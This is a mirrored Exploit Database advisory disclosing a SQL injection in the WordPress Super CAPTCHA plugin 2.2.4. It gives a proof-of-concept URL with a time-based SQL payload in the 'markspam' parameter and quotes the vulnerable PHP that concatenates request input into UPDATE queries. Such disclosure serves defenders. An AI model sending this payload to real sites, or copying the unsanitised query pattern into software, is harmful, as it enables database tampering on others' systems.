WordPress Plugin Super CAPTCHA 2.2.4 – SQL Injection

• Exploit Database
• 12 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17728/

• # Exploit Title: WordPress Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability
  # Date: 2011-08-26
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/super-capcha.2.2.4.zip
  # Version: 2.2.4 (tested)
  # Notes: user has to be logged in as "admin" and magic_quotes has to be turned off
  
  ---
  PoC
  ---
  http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20
  
  ---------------
  Vulnerable code
  ---------------
  if(isset($_REQUEST['markspam']))
  {
  global $wpdb;
  $UIDs = explode(',', $_REQUEST['markspam']);
  echo('<h2>Accounts Flagged</h2>');
  for($i=0;$i<count($UIDs);$i++)
  {
  mysql_query("UPDATE `". $wpdb->users ."` SET `spam`='1' WHERE `ID`='". $UIDs[$i] ."'");
  mysql_query("UPDATE `". $wpdb->users ."` SET `user_status`='1' WHERE `ID`='". $UIDs[$i] ."'");
  echo('<em>USER ID: '. $UIDs[$i] .' marked as spammer.</em><br />');
  }
  }